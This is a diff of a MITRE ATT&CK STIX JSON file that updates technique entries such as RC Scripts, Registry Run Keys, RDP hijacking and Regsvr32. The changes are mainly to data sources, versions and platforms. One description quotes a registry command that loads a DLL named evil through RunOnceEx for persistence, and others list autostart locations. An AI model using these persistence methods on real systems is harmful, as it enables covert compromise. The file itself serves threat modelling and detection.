limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f", "type": "attack-pattern", "kill_chain_phases": [ @@ -24698,7 +25992,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:15:26.840Z", + "modified": "2021-04-15T03:44:43.900Z", "created": "2020-10-02T17:05:43.562Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -24743,10 +26037,8 @@ ], "x_mitre_detection": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_data_sources": [ - "System calls", - "Process monitoring", - "Process command-line parameters", - "API monitoring" + "Command: Command Execution", + "Process: Process Creation" ], "x_mitre_platforms": [ "Linux", @@ -24798,13 +26090,94 @@ "SYSTEM" ], "x_mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Access", + "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_version": "1.2" }, + { + "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", + "description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)", + "name": "RC Scripts", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1037.004", + "url": "https://attack.mitre.org/techniques/T1037/004" + }, + { + "source_name": "IranThreats Kittens Dec 2017", + "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/", + "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020." + }, + { + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/", + "source_name": "Intezer HiddenWasp Map 2019" + }, + { + "source_name": "intezer-kaiji-malware", + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020." + }, + { + "source_name": "Apple Developer Doco Archive Launchd", + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021." + }, + { + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "source_name": "Startup Items" + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "source_name": "Methods of Mac Malware Persistence" + }, + { + "source_name": "Ubuntu Manpage systemd rc", + "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html", + "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2021-04-27T19:58:01.927Z", + "created": "2020-01-15T16:25:22.260Z", + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ", + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "2.0" + }, { "external_references": [ { @@ -24850,9 +26223,11 @@ "modified": "2020-03-23T23:24:39.182Z", "created": "2020-02-25T18:35:42.765Z", "x_mitre_data_sources": [ - "Process monitoring", - "Netflow/Enclave netflow", - "Authentication logs" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Process: Process Creation" ], "x_mitre_detection": "Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.", "x_mitre_version": "1.0", @@ -24912,10 +26287,7 @@ "Administrator" ], "x_mitre_data_sources": [ - "File monitoring", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture" + "Firmware: Firmware Modification" ] }, { @@ -24943,58 +26315,6 @@ "modified": "2020-01-15T16:27:32.362Z", "created": "2017-12-14T16:46:06.044Z" }, - { - "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", - "description": "Adversaries may use rc.common automatically executed at boot initialization to establish persistence. During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated mechanism in favor of [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user. (Citation: Methods of Mac Malware Persistence)", - "name": "Rc.common", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1037.004", - "url": "https://attack.mitre.org/techniques/T1037/004" - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", - "source_name": "Startup Items" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - } - ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "modified": "2020-03-24T23:46:20.433Z", - "created": "2020-01-15T16:25:22.260Z", - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" - ], - "x_mitre_detection": "The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior. ", - "x_mitre_permissions_required": [ - "root" - ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" - }, { "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", "name": "Re-opened Applications", @@ -25052,7 +26372,8 @@ "macOS" ], "x_mitre_data_sources": [ - "File monitoring" + "File: File Modification", + "Command: Command Execution" ], "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", "x_mitre_permissions_required": [ @@ -25096,7 +26417,7 @@ "modified": "2020-10-21T22:36:22.369Z", "created": "2020-10-19T19:03:48.310Z", "x_mitre_data_sources": [ - "File monitoring" + "File: File Modification" ], "x_mitre_platforms": [ "Network" @@ -25139,39 +26460,24 @@ "phase_name": "persistence" } ], - "modified": "2020-03-30T13:47:29.922Z", + "modified": "2021-03-08T10:33:00.985Z", "created": "2017-05-31T21:31:18.867Z", "x_mitre_deprecated": true, "x_mitre_is_subtechnique": false, - "x_mitre_version": "3.0", - "x_mitre_data_sources": [ - "Office 365 account logs", - "Azure activity logs", - "AWS CloudTrail logs", - "Stackdriver logs", - "Process monitoring", - "Process use of network", - "Packet capture", - "Network protocol analysis", - "File monitoring", - "Authentication logs", - "Binary file metadata" - ], + "x_mitre_version": "3.1", "x_mitre_defense_bypassed": [ "Network intrusion detection system", "Anti-virus" ], "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.", "x_mitre_platforms": [ - "Linux", - "macOS", "Windows", - "AWS", - "GCP", - "Azure", + "Azure AD", "Office 365", "SaaS", - "Azure AD" + "IaaS", + "Linux", + "macOS" ], "x_mitre_permissions_required": [ "User", @@ -25239,31 +26545,27 @@ "phase_name": "impact" } ], - "modified": "2020-09-16T15:58:18.490Z", + "modified": "2021-03-29T16:13:53.747Z", "created": "2020-03-02T20:08:03.691Z", "x_mitre_data_sources": [ - "Sensor health and status", - "Network protocol analysis", - "Netflow/Enclave netflow", - "Network intrusion detection system", - "Network device logs" + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_impact_type": [ "Availability" ], "x_mitre_platforms": [ - "macOS", "Windows", - "Linux", - "AWS", - "Office 365", "Azure AD", - "GCP", - "Azure", - "SaaS" + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" ] }, { @@ -25307,6 +26609,13 @@ "created": "2017-05-31T21:30:49.988Z" }, { + "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "name": "Registry Run Keys / Startup Folder", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -25349,13 +26658,6 @@ "source_name": "TechNet Autoruns" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Registry Run Keys / Startup Folder", - "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", - "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "attack-pattern", "kill_chain_phases": [ { @@ -25367,25 +26669,28 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-08-03T16:30:26.918Z", + "modified": "2021-01-06T18:36:29.226Z", "created": "2020-01-23T22:02:48.566Z", - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": true, - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "x_mitre_data_sources": [ - "Windows Registry", - "File monitoring" + "x_mitre_platforms": [ + "Windows" ], "x_mitre_contributors": [ "Oddvar Moe, @oddvarmoe" ], - "x_mitre_platforms": [ - "Windows" - ] + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1" }, { "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", @@ -25473,8 +26778,8 @@ "Casey Smith" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_defense_bypassed": [ @@ -25574,10 +26879,10 @@ "Casey Smith" ], "x_mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring", - "Loaded DLLs" + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", "x_mitre_permissions_required": [ @@ -25643,10 +26948,10 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.", "x_mitre_data_sources": [ - "Network intrusion detection system", - "Network protocol analysis", - "Process use of network", - "Process monitoring" + "Process: Process Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_contributors": [ "Matt Kelly, @breakersall" @@ -25680,26 +26985,24 @@ "phase_name": "collection" } ], - "modified": "2020-09-14T19:48:07.491Z", + "modified": "2021-03-08T10:33:02.019Z", "created": "2020-03-13T21:14:58.206Z", "x_mitre_contributors": [ "Praetorian" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Access", + "File: File Creation", + "Command: Command Execution" ], "x_mitre_platforms": [ - "Linux", - "macOS", "Windows", - "AWS", - "GCP", - "Azure" + "IaaS", + "Linux", + "macOS" ] }, { @@ -25797,9 +27100,10 @@ "User" ], "x_mitre_data_sources": [ - "Process monitoring", - "Netflow/Enclave netflow", - "Authentication logs" + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Logon Session: Logon Session Creation" ], "x_mitre_system_requirements": [ "RDP service enabled, account in the Remote Desktop Users group" @@ -25809,17 +27113,8 @@ ] }, { - "created": "2020-02-19T18:52:24.547Z", - "modified": "2020-02-19T20:53:50.908Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - } - ], - "type": "attack-pattern", "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", - "description": "Adversaries may target an Exchange server or Office 365 to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", + "description": 